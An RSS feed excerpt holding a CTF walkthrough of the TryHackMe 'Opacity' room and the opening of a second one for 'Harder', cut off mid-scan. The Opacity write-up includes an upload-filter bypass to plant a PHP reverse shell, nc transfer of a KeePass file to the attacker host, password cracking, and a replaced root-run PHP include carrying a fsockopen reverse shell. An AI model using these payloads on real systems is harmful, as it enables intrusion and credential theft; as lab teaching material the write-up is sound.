            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/256/0*UG0zINd-Op223tTi.png" /></figure><p><a href="https://tryhackme.com/r/room/opacity">Opacity</a></p><p>We are tasked with finding two flags that are hidden across the target system.</p><p>Connect to the TryHackMe networking using your .ovpn file.</p><pre>sudo openvpn your_tryhackme_vpn.ovpn</pre><h3>Reconnaissance</h3><p>Let’s discover the services that are running on the target I performed a port scan.</p><pre>nmap -sS -p- -n -Pn --min-rate=9362 $IP<br>nmap -A -p $Ports $IP</pre><p>-sS: This option specifies a SYN scan</p><p>-p-: This option tells nmap to scan all 65,535 ports.</p><p>-n: This option is speeds up the scan by avoiding DNS resolution.</p><p>-Pn: This option disables host discovery, treating all hosts as online. This is useful for scanning hosts that may be blocking ICMP ping requests.</p><p>--min-rate=9362: This option sets the minimum number of packets per second to be sent during the scan. This speeds up the scan but may increase the likelihood of being detected by security systems.</p><p>-A: This option enables OS detection, version detection, script scanning, and traceroute.</p><pre>root@Zain:/home/CTF/Opacity# ./../port_scan.sh 10.10.13.15<br>Running command: nmap -sS -p- -n -Pn --min-rate=9362 10.10.13.15<br>Running command: nmap -A -p 22,80,139,445 10.10.13.15<br>Starting Nmap 7.80 ( https://nmap.org ) at 2024-07-12 15:56 EEST<br>Nmap scan report for 10.10.13.15<br>Host is up (0.087s latency).<br><br>PORT    STATE SERVICE     VERSION<br>22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)<br>80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))<br>| http-cookie-flags: <br>|   /: <br>|     PHPSESSID: <br>|_      httponly flag not set<br>|_http-server-header: Apache/2.4.41 (Ubuntu)<br>| http-title: Login<br>|_Requested resource was login.php<br>139/tcp open  netbios-ssn Samba smbd 4.6.2<br>445/tcp open  netbios-ssn Samba smbd 4.6.2<br>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br>Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Android 4.1.1 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 (92%), Linux 2.6.32 - 3.10 (92%), Linux 2.6.32 - 3.9 (92%)<br>No exact OS matches for host (test conditions non-ideal).<br>Network Distance: 2 hops<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Host script results:<br>|_nbstat: NetBIOS name: OPACITY, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: &lt;unknown&gt; (unknown)<br>| smb2-security-mode: <br>|   2.02: <br>|_    Message signing enabled but not required<br>| smb2-time: <br>|   date: 2024-07-12T12:57:04<br>|_  start_date: N/A<br><br>TRACEROUTE (using port 80/tcp)<br>HOP RTT      ADDRESS<br>1   77.00 ms 10.9.0.1<br>2   77.06 ms 10.10.13.15<br><br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 19.71 seconds<br>root@Zain:/home/CTF/Opacity# <br><br></pre><p>Ports 22, 80, 139, 445 are open on the target, and more details.</p><h3>Enumeration</h3><p>Let’s try see SMB shared files</p><pre>root@Zain:/home/CTF/Opacity# smbclient -L //10.10.13.15<br>Password for [WORKGROUP\zain]:<br><br> Sharename       Type      Comment<br> ---------       ----      -------<br> print$          Disk      Printer Drivers<br> IPC$            IPC       IPC Service (opacity server (Samba, Ubuntu))<br>SMB1 disabled -- no workgroup available<br>root@Zain:/home/CTF/Opacity#</pre><p>Nothing interesting, Let’s use enum4linux -a $IP for more information.</p><pre>===================( Users on 10.10.13.15 via RID cycling (RIDS: 500-550,1000-1050) )===================<br><br><br>[I] Found new SID: <br>S-1-22-1<br><br>[I] Found new SID: <br>S-1-5-32<br><br>[I] Found new SID: <br>S-1-5-32<br><br>[I] Found new SID: <br>S-1-5-32<br><br>[I] Found new SID: <br>S-1-5-32<br><br>[+] Enumerating users using SID S-1-5-21-1327801453-43412457-3647261475 and logon username &#39;&#39;, password &#39;&#39;<br><br>S-1-5-21-1327801453-43412457-3647261475-501 OPACITY\nobody (Local User)<br>S-1-5-21-1327801453-43412457-3647261475-513 OPACITY\None (Domain Group)<br><br>[+] Enumerating users using SID S-1-22-1 and logon username &#39;&#39;, password &#39;&#39;<br><br>S-1-22-1-1000 Unix User\sysadmin (Local User)<br><br><br>[+] Enumerating users using SID S-1-5-32 and logon username &#39;&#39;, password &#39;&#39;<br><br>S-1-5-32-544 BUILTIN\Administrators (Local Group)<br>S-1-5-32-545 BUILTIN\Users (Local Group)<br>S-1-5-32-546 BUILTIN\Guests (Local Group)<br>S-1-5-32-547 BUILTIN\Power Users (Local Group)<br>S-1-5-32-548 BUILTIN\Account Operators (Local Group)<br>S-1-5-32-549 BUILTIN\Server Operators (Local Group)<br>S-1-5-32-550 BUILTIN\Print Operators (Local Group)<br><br> ================================( Getting printer info for 10.10.13.15 )================================<br><br>No printers returned.</pre><p>Users and Groups Identified Found, may be will need them.</p><p>Let’s use Metasploit framework</p><pre>msf6 &gt; use auxiliary/scanner/smb/smb_enumusers<br>[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST<br>msf6 auxiliary(scanner/smb/smb_enumusers) &gt; set RHOSTS 10.10.13.15<br>RHOSTS =&gt; 10.10.13.15<br>msf6 auxiliary(scanner/smb/smb_enumusers) &gt; run<br><br>[*] 10.10.13.15:445 - Using automatically identified domain: OPACITY<br>[+] 10.10.13.15:445 - OPACITY [  ] ( LockoutTries=0 PasswordMin=5 )<br>[+] 10.10.13.15:445 - Builtin [  ] ( LockoutTries=0 PasswordMin=5 )<br>[*] 10.10.13.15:445 - Scanned 1 of 1 hosts (100% complete)<br>[*] Auxiliary module execution completed</pre><p>the Metasploit auxiliary module scanner/smb/smb_enumusers has successfully identified the domain OPACITY and gathered some basic policy information about password and lockout settings. However, it does not show specific user accounts.</p><p>Now Let’s look at web service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*QZcsy3Lk-psNL9x5YkJiwg.png" /></figure><p>It’s login page !!</p><p>Let’s using gobuster for hidden Pages and directories.</p><pre>root@Zain:/home/CTF/Opacity# gobuster dir -u http://10.10.13.15/ -w ../wordlists/dirb/common.txt -t 50  |tee gobuster.txt <br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://10.10.13.15/<br>[+] Method:                  GET<br>[+] Threads:                 50<br>[+] Wordlist:                ../wordlists/dirb/common.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.6<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/.hta                 (Status: 403) [Size: 276]<br>/.htaccess            (Status: 403) [Size: 276]<br>/.htpasswd            (Status: 403) [Size: 276]<br>/css                  (Status: 301) [Size: 308] [--&gt; http://10.10.13.15/css/]<br>/index.php            (Status: 302) [Size: 0] [--&gt; login.php]<br>/server-status        (Status: 403) [Size: 276]<br>Progress: 4614 / 4615 (99.98%)<br>===============================================================<br>Finished<br>===============================================================<br><br>root@Zain:/home/CTF/Opacity# gobuster dir -u http://10.10.13.15/ -w ../wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50  |tee gobuster.txt <br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://10.10.13.15/<br>[+] Method:                  GET<br>[+] Threads:                 50<br>[+] Wordlist:                ../wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.6<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/css                  (Status: 301) [Size: 308] [--&gt; http://10.10.13.15/css/]<br>/cloud                (Status: 301) [Size: 310] [--&gt; http://10.10.13.15/cloud/]<br>/server-status        (Status: 403) [Size: 276]<br>Progress: 220560 / 220561 (100.00%)<br>===============================================================<br>Finished<br>===============================================================<br>root@Zain:/home/CTF/Opacity#</pre><p>There’s directory called /cloud</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*dKfXKEpVebXUyX-Vmv116g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*wrLcJ13PqxSgEInLYE7cnw.png" /></figure><p>It’s upload page, but may be upload images only <br>Let’s try upload php reverse shell if we can !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*rIg0pxyiiBFXNhaCH_CoPg.png" /></figure><p>It’s check if image or not, Let’s try bypass it.</p><h3>Exploitation</h3><p>Let’s double extension shell.php.jpg</p><pre>root@Zain:/home/CTF/Opacity# py -m http.server 80<br>Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...<br>10.10.13.15 - - [12/Jul/2024 16:42:45] &quot;GET /shell.php.jpg HTTP/1.1&quot; 200 -</pre><p>It’s uploaded, Let’s get connection back.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*Y3PhC9p4gdFHk3OKKJxwtQ.png" /></figure><p>It’s saved in /cloud/images Let’s try open it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*TMKbtBEV6ekoG1ojUIrS9A.png" /></figure><p>Can’t open double extension page, Let’s try add # to bypass another extension like http://$IP:$port/$shell_page.php#.jpg .</p><pre>root@Zain:/home/CTF/Opacity# mv shell.php.jpg shell.php<br>root@Zain:/home/CTF/Opacity# cat shell.php | grep &quot;port = &quot;<br>$port = 8888;       // CHANGE THIS<br>root@Zain:/home/CTF/Opacity#<br>root@Zain:/home/CTF/Opacity# py -m http.server 80<br>Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...<br>10.10.4.197 - - [13/Jul/2024 00:12:30] &quot;GET /shell.php HTTP/1.1&quot; 200 -</pre><p>Let’s use nc and waiting for connection back.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*JMijsMMTvc5woLDnn1sD6g.png" /></figure><pre>root@Zain:/home/CTF/Opacity# nc -lvnp 8888<br>Listening on 0.0.0.0 8888<br>Connection received on 10.10.4.197 55788<br>Linux opacity 5.4.0-139-generic #156-Ubuntu SMP Fri Jan 20 17:27:18 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux<br> 21:21:22 up 13 min,  0 users,  load average: 0.00, 0.26, 0.49<br>USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)<br>/bin/sh: 0: can&#39;t access tty; job control turned off<br>$ id<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)<br>$ which python3<br>/usr/bin/python3<br>$ python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;<br>www-data@opacity:/$ </pre><p>Let’s try get user flag</p><pre>www-data@opacity:/home/sysadmin$ ls<br>ls<br>local.txt  scripts<br>www-data@opacity:/home/sysadmin$ cat lo*<br>cat lo*<br>cat: local.txt: Permission denied<br>www-data@opacity:/home/sysadmin$</pre><p>Permission denied, should privilege escalation to sysadmin user.</p><h3>Privilege Escalation</h3><pre>www-data@opacity:/home/sysadmin$ ls -la<br>ls -la<br>total 44<br>drwxr-xr-x 6 sysadmin sysadmin 4096 Feb 22  2023 .<br>drwxr-xr-x 3 root     root     4096 Jul 26  2022 ..<br>-rw------- 1 sysadmin sysadmin   22 Feb 22  2023 .bash_history<br>-rw-r--r-- 1 sysadmin sysadmin  220 Feb 25  2020 .bash_logout<br>-rw-r--r-- 1 sysadmin sysadmin 3771 Feb 25  2020 .bashrc<br>drwx------ 2 sysadmin sysadmin 4096 Jul 26  2022 .cache<br>drwx------ 3 sysadmin sysadmin 4096 Jul 28  2022 .gnupg<br>-rw-r--r-- 1 sysadmin sysadmin  807 Feb 25  2020 .profile<br>drwx------ 2 sysadmin sysadmin 4096 Jul 26  2022 .ssh<br>-rw-r--r-- 1 sysadmin sysadmin    0 Jul 28  2022 .sudo_as_admin_successful<br>-rw------- 1 sysadmin sysadmin   33 Jul 26  2022 local.txt<br>drwxr-xr-x 3 root     root     4096 Jul  8  2022 scripts<br><br>www-data@opacity:/home/sysadmin$ cat .sudo_as_admin_successful<br>cat .sudo_as_admin_successful<br>www-data@opacity:/home/sysadmin$ cat .bash_logout<br>cat .bash_logout<br># ~/.bash_logout: executed by bash(1) when login shell exits.<br><br># when leaving the console clear the screen to increase privacy<br><br>if [ &quot;$SHLVL&quot; = 1 ]; then<br>    [ -x /usr/bin/clear_console ] &amp;&amp; /usr/bin/clear_console -q<br>fi<br>www-data@opacity:/home/sysadmin$ cd scripts<br>cd scripts<br>www-data@opacity:/home/sysadmin/scripts$ ls -la<br>ls -la<br>total 16<br>drwxr-xr-x 3 root     root     4096 Jul  8  2022 .<br>drwxr-xr-x 6 sysadmin sysadmin 4096 Feb 22  2023 ..<br>drwxr-xr-x 2 sysadmin root     4096 Jul 26  2022 lib<br>-rw-r----- 1 root     sysadmin  519 Jul  8  2022 script.php<br><br>www-data@opacity:/home/sysadmin/scripts$ cd lib<br>cd lib<br><br>www-data@opacity:/home/sysadmin/scripts/lib$ ls -la<br>ls -la<br>total 132<br>drwxr-xr-x 2 sysadmin root  4096 Jul 26  2022 .<br>drwxr-xr-x 3 root     root  4096 Jul  8  2022 ..<br>-rw-r--r-- 1 root     root  9458 Jul 26  2022 application.php<br>-rw-r--r-- 1 root     root   967 Jul  6  2022 backup.inc.php<br>-rw-r--r-- 1 root     root 24514 Jul 26  2022 bio2rdfapi.php<br>-rw-r--r-- 1 root     root 11222 Jul 26  2022 biopax2bio2rdf.php<br>-rw-r--r-- 1 root     root  7595 Jul 26  2022 dataresource.php<br>-rw-r--r-- 1 root     root  4828 Jul 26  2022 dataset.php<br>-rw-r--r-- 1 root     root  3243 Jul 26  2022 fileapi.php<br>-rw-r--r-- 1 root     root  1325 Jul 26  2022 owlapi.php<br>-rw-r--r-- 1 root     root  1465 Jul 26  2022 phplib.php<br>-rw-r--r-- 1 root     root 10548 Jul 26  2022 rdfapi.php<br>-rw-r--r-- 1 root     root 16469 Jul 26  2022 registry.php<br>-rw-r--r-- 1 root     root  6862 Jul 26  2022 utils.php<br>-rwxr-xr-x 1 root     root  3921 Jul 26  2022 xmlapi.php</pre><p>some import files, but don’t have access on them need sysadmin user.<br>Let’s search on SUID permissions and capabilities and crontab file</p><pre><br>www-data@opacity:/home/sysadmin/scripts/lib$ find / -perm -4000 2&gt;/dev/null |grep -v &quot;snap&quot;<br>&lt;lib$ find / -perm -4000 2&gt;/dev/null |grep -v &quot;snap&quot;<br>/usr/lib/dbus-1.0/dbus-daemon-launch-helper<br>/usr/lib/openssh/ssh-keysign<br>/usr/lib/eject/dmcrypt-get-device<br>/usr/lib/policykit-1/polkit-agent-helper-1<br>/usr/bin/chsh<br>/usr/bin/passwd<br>/usr/bin/su<br>/usr/bin/at<br>/usr/bin/newgrp<br>/usr/bin/mount<br>/usr/bin/umount<br>/usr/bin/chfn<br>/usr/bin/fusermount<br>/usr/bin/gpasswd<br>/usr/bin/sudo<br>www-data@opacity:/home/sysadmin/scripts/lib$ getcap -r / 2&gt;/dev/null<br>getcap -r / 2&gt;/dev/null<br>/snap/core20/1328/usr/bin/ping = cap_net_raw+ep<br>/snap/core20/1587/usr/bin/ping = cap_net_raw+ep<br>/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep<br>/usr/bin/mtr-packet = cap_net_raw+ep<br>/usr/bin/ping = cap_net_raw+ep<br>/usr/bin/traceroute6.iputils = cap_net_raw+ep<br>www-data@opacity:/home/sysadmin/scripts/lib$ cat /etc/crontab<br>cat /etc/crontab<br># /etc/crontab: system-wide crontab<br># Unlike any other crontab you don&#39;t have to run the `crontab&#39;<br># command to install the new version when you edit this file<br># and files in /etc/cron.d. These files also have username fields,<br># that none of the other crontabs do.<br><br>SHELL=/bin/sh<br>PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin<br><br># Example of job definition:<br># .---------------- minute (0 - 59)<br># |  .------------- hour (0 - 23)<br># |  |  .---------- day of month (1 - 31)<br># |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...<br># |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat<br># |  |  |  |  |<br># *  *  *  *  * user-name command to be executed<br>17 * * * * root    cd / &amp;&amp; run-parts --report /etc/cron.hourly<br>25 6 * * * root test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.daily )<br>47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.weekly )<br>52 6 1 * * root test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.monthly )<br>#<br>www-data@opacity:/home/sysadmin/scripts/lib$</pre><p>Nothing interesting here, Let’s see files related with user sysadmin .</p><pre>www-data@opacity:/$ find / -type f -user sysadmin 2&gt;/dev/null<br>find / -type f -user sysadmin 2&gt;/dev/null<br>/opt/dataset.kdbx                &lt;========= interesting<br>/home/sysadmin/.sudo_as_admin_successful<br>/home/sysadmin/.bash_history<br>/home/sysadmin/local.txt<br>/home/sysadmin/.bashrc<br>/home/sysadmin/.bash_logout<br>/home/sysadmin/.profile<br>www-data@opacity:/$ cd /opt<br>www-data@opacity:/opt$ ls -la<br>ls -la<br>total 12<br>drwxr-xr-x  2 root     root     4096 Jul 26  2022 .<br>drwxr-xr-x 19 root     root     4096 Jul 26  2022 ..<br>-rwxrwxr-x  1 sysadmin sysadmin 1566 Jul  8  2022 dataset.kdbx</pre><p>A .kdbx file is a database file created by KeePass, which is a popular open-source password manager, KeePass stores passwords and other sensitive information in an encrypted database.<br>Let’s try extract username and password if exist.</p><p>Let’s transfer it with nc .</p><pre>####### sender machine<br>www-data@opacity:/opt$ nc 10.9.0.24 1234 &lt; dataset.kdbx<br>nc 10.9.0.24 1234 &lt; dataset.kdbx<br><br><br>######### reciver machine<br><br>root@Zain:/home/CTF/Opacity# nc -lvp 1234 &gt; dataset.kdbx<br>Listening on 0.0.0.0 1234<br>Connection received on 10.10.4.197 36416<br>^C<br>root@Zain:/home/CTF/Opacity# ls <br>dataset.kdbx  gobuster.txt  shell.php <br>root@Zain:/home/CTF/Opacity# </pre><p>Let’s crack it with john tools.</p><pre>root@Zain:/home/CTF/Opacity# ./../tools/john/run/keepass2john dataset.kdbx &gt; file_dataset.txt<br>root@Zain:/home/CTF/Opacity# <br>root@Zain:/home/CTF/Opacity# ./../tools/john/run/john --wordlist=../wordlists/rockyou.txt file_dataset.txt <br>Warning: detected hash type &quot;KeePass&quot;, but the string is also recognized as &quot;KeePass-opencl&quot;<br>Use the &quot;--format=KeePass-opencl&quot; option to force loading these as that type instead<br>Using default input encoding: UTF-8<br>Loaded 1 password hash (KeePass [SHA256 AES 32/64])<br>Cost 1 (iteration count) is 100000 for all loaded hashes<br>Cost 2 (version) is 2 for all loaded hashes<br>Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes<br>Will run 4 OpenMP threads<br>Press &#39;q&#39; or Ctrl-C to abort, &#39;h&#39; for help, almost any other key for status<br>741852963        (dataset)     <br>1g 0:00:00:15 DONE (2024-07-13 01:22) 0.06472g/s 56.96p/s 56.96c/s 56.96C/s chichi..david1<br>Use the &quot;--show&quot; option to display all of the cracked passwords reliably<br>Session completed. <br>root@Zain:/home/CTF/Opacity# </pre><p>Now have keepass dataset password, Let’s try get sysadmin password.</p><pre>keepassxc ls dataset.kdbx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*PNvDdVCyh8rE3mIp9fYjEw.png" /></figure><p>Now access with sysadmin using SSH to log into the system and get the local flag:</p><pre>sysadmin@opacity:~$ id<br>uid=1000(sysadmin) gid=1000(sysadmin) groups=1000(sysadmin),24(cdrom),30(dip),46(plugdev)<br>sysadmin@opacity:~$ ls<br>local.txt  scripts<br>sysadmin@opacity:~$</pre><p>Got local flag, Let’s trying to get root access and root flag.</p><pre>sysadmin@opacity:~$ cd scripts/<br>sysadmin@opacity:~/scripts$ ls -la<br>total 16<br>drwxr-xr-x 3 root     root     4096 Jul  8  2022 .<br>drwxr-xr-x 6 sysadmin sysadmin 4096 Feb 22  2023 ..<br>drwxr-xr-x 2 sysadmin root     4096 Jul 26  2022 lib<br>-rw-r----- 1 root     sysadmin  519 Jul  8  2022 script.php<br>sysadmin@opacity:~/scripts$ cat script.php <br>&lt;?php<br><br>//Backup of scripts sysadmin folder<br>require_once(&#39;lib/backup.inc.php&#39;);<br>zipData(&#39;/home/sysadmin/scripts&#39;, &#39;/var/backups/backup.zip&#39;);<br>echo &#39;Successful&#39;, PHP_EOL;<br><br>//Files scheduled removal<br>$dir = &quot;/var/www/html/cloud/images&quot;;<br>if(file_exists($dir)){<br>    $di = new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS);<br>    $ri = new RecursiveIteratorIterator($di, RecursiveIteratorIterator::CHILD_FIRST);<br>    foreach ( $ri as $file ) {<br>        $file-&gt;isDir() ?  rmdir($file) : unlink($file);<br>    }<br>}<br>?&gt;<br>sysadmin@opacity:~/scripts$ cd lib/<br>sysadmin@opacity:~/scripts/lib$ ll backup.inc.php <br>-rw-r--r-- 1 root root 967 Jul  6  2022 backup.inc.php<br><br>sysadmin@opacity:~/scripts/lib$ cat backup.inc.php <br>&lt;?php<br><br><br>ini_set(&#39;max_execution_time&#39;, 600);<br>ini_set(&#39;memory_limit&#39;, &#39;1024M&#39;);<br><br><br>function zipData($source, $destination) {<br> if (extension_loaded(&#39;zip&#39;)) {<br>  if (file_exists($source)) {<br>   $zip = new ZipArchive();<br>   if ($zip-&gt;open($destination, ZIPARCHIVE::CREATE)) {<br>    $source = realpath($source);<br>    if (is_dir($source)) {<br>     $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST);<br>     foreach ($files as $file) {<br>      $file = realpath($file);<br>      if (is_dir($file)) {<br>       $zip-&gt;addEmptyDir(str_replace($source . &#39;/&#39;, &#39;&#39;, $file . &#39;/&#39;));<br>      } else if (is_file($file)) {<br>       $zip-&gt;addFromString(str_replace($source . &#39;/&#39;, &#39;&#39;, $file), file_get_contents($file));<br>      }<br>     }<br>    } else if (is_file($source)) {<br>     $zip-&gt;addFromString(basename($source), file_get_contents($source));<br>    }<br>   }<br>   return $zip-&gt;close();<br>  }<br> }<br> return false;<br>}<br>?&gt;<br>sysadmin@opacity:~/scripts/lib$ <br></pre><p>script.php it’s backup data and require_one backup.inc.php,<br>So we have full access on directories, Can delete backup.inc.php because can’t modify it and create a new version of backup.inc.php containing a reverse shell</p><pre>&lt;?php<br>ini_set(&#39;max_execution_time&#39;, 600);<br>ini_set(&#39;memory_limit&#39;, &#39;1024M&#39;);<br>function zipData($source, $destination) {<br>        $sock=fsockopen(&quot;$IP&quot;,8081);<br>        system(&quot;sh &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3&quot;);<br>}<br>?&gt;</pre><p>Waiting for connection back</p><pre>root@Zain:/home/CTF/Opacity# nc -lvnp 8081<br>Listening on 0.0.0.0 8081<br>Connection received on 10.10.4.197 57300<br>id<br>uid=0(root) gid=0(root) groups=0(root)<br>python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;<br>root@opacity:~# ls<br>ls<br>proof.txt  snap<br>root@opacity:~#</pre><p>Thank you for following :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=70d231777709" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe - Harder CTF]]></title>
            <link>https://medium.com/@3zain21/tryhackme-harder-ctf-b160c246ea63?source=rss-2a6c3260dcfb------2</link>
            <guid isPermaLink="false">https://medium.com/p/b160c246ea63</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Zain]]></dc:creator>
            <pubDate>Fri, 12 Jul 2024 00:46:13 GMT</pubDate>
            <atom:updated>2024-07-12T00:46:13.756Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*d4C1wx2DDvYrTZay.png" /></figure><p><a href="https://tryhackme.com/r/room/harder">harder</a></p><p>We are tasked with finding two flags that are hidden across the target system.</p><p>Connect to the TryHackMe networking using your .ovpn file.</p><pre>sudo openvpn your_tryhackme_vpn.ovpn</pre><h3>Reconnaissance</h3><p>Let’s discover the services that are running on the target I performed a port scan.</p><pre>nmap -sS -p- -n -Pn --min-rate=9362 $IP<br>nmap -A -p $Port $IP</pre><p>-sS: This option specifies a SYN scan</p><p>-p-: This option tells nmap to scan all 65,535 ports.</p><p>-n: This option is speeds up the scan by avoiding DNS resolution.</p><p>-Pn: This option disables host discovery, treating all hosts as online. This is useful for scanning hosts that may be blocking ICMP ping requests.</p><p>--min-rate=9362: This option sets the minimum number of packets per second to be sent during the scan. This speeds up the scan but may increase the likelihood of being detected by security systems.</p><p>-A: This option enables OS detection, version detection, script scanning, and traceroute.</p><pre>root@Zain:/home/CTF/Harder# ./../port_scan.sh 10.10.139.114<br>Running command: nmap -sS -p- -n -Pn --min-rate=9362 10.10.139.114<br>Running command: nmap -A -p 2,80 10.10.139.114<br>Starting Nmap 7.80 ( https://nmap.org ) at 2024-07-09 01:49 EEST<br>Nmap scan report for 10.10.139.114<br>Host is up (0.14s latency).<br><br>PORT   STATE SERVICE VERSION<br>2/tcp  open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 f8:8c:1e:07:1d:f3:de:8a:01:f1:50:51:e4:e6:00:fe (RSA)<br>|   256 e6:5d:ea:6c:83:86:20:de:f0:f0:3a:1e:5f:7d:47:b5 (ECDSA)<br>|_  256 e9:ef:d3:78:db:9c:47:20:7e:62:82:9d:8f:6f:45:6a (ED25519)<br>80/tcp open  http    nginx 1.18.0<br>|_http-server-header: nginx/1.18.0<br>|_http-title: Error<br>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br>Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Android 4.1.1 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 (92%), Linux 2.6.32 - 3.10 (92%), Linux 2.6.32 - 3.9 (92%)<br>No exact OS matches for host (test conditions non-ideal).<br>Network Distance: 2 hops<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>TRACEROUTE (using port 2/tcp)<br>HOP RTT       ADDRESS<br>1   94.45 ms  10.9.0.1<br>2   133.01 ms 10.10.139.114<br><br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 20.17 seconds<br>root@Zain:/home/CTF/Harder# </pre><p>Ports 2, 80 are open on the target, and more details.</p><h3>Enumeration</h3><p>Let’s check web server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*IAPWXB4af87TvPhk9HS_BA.png" /></figure><p>It’s empty page, and source code don’t have anything interest.</p><p>Let’s using gobuster for hidden Pages and directories,<br>can use the --exclude-length option to exclude results with a specific content length.</p><pre>root@Zain:/home/CTF/Harder# gobuster dir -u http://10.10.139.114/ -w ../wordlists/dirb/common.txt -t 50 --exclude-length 1985 |tee gobuster.txt <br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://10.10.139.114/<br>[+] Method:                  GET<br>[+] Threads:                 50<br>[+] Wordlist:                ../wordlists/dirb/common.txt<br>[+] Negative Status codes:   404<br>[+] Exclude Length:          1985<br>[+] User Agent:              gobuster/3.6<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/.bash_history        (Status: 403) [Size: 153]<br>/.cache               (Status: 403) [Size: 153]<br>/.bashrc              (Status: 403) [Size: 153]<br>/.config              (Status: 403) [Size: 153]<br>/.web                 (Status: 403) [Size: 153]<br>/.cvs                 (Status: 403) [Size: 153]<br>/.forward             (Status: 403) [Size: 153]<br>/.git/HEAD            (Status: 403) [Size: 153]<br>/.history             (Status: 403) [Size: 153]<br>/.hta                 (Status: 403) [Size: 153]<br>/.htaccess            (Status: 403) [Size: 153]<br>/.rhosts              (Status: 403) [Size: 153]<br>/.subversion          (Status: 403) [Size: 153]<br>/.cvsignore           (Status: 403) [Size: 153]<br>/.passwd              (Status: 403) [Size: 153]<br>/.listing             (Status: 403) [Size: 153]<br>/.svn/entries         (Status: 403) [Size: 153]<br>/.svn                 (Status: 403) [Size: 153]<br>/.listings            (Status: 403) [Size: 153]<br>/.ssh                 (Status: 403) [Size: 153]<br>/.profile             (Status: 403) [Size: 153]<br>/.sh_history          (Status: 403) [Size: 153]<br>/.swf                 (Status: 403) [Size: 153]<br>/.mysql_history       (Status: 403) [Size: 153]<br>/.perf                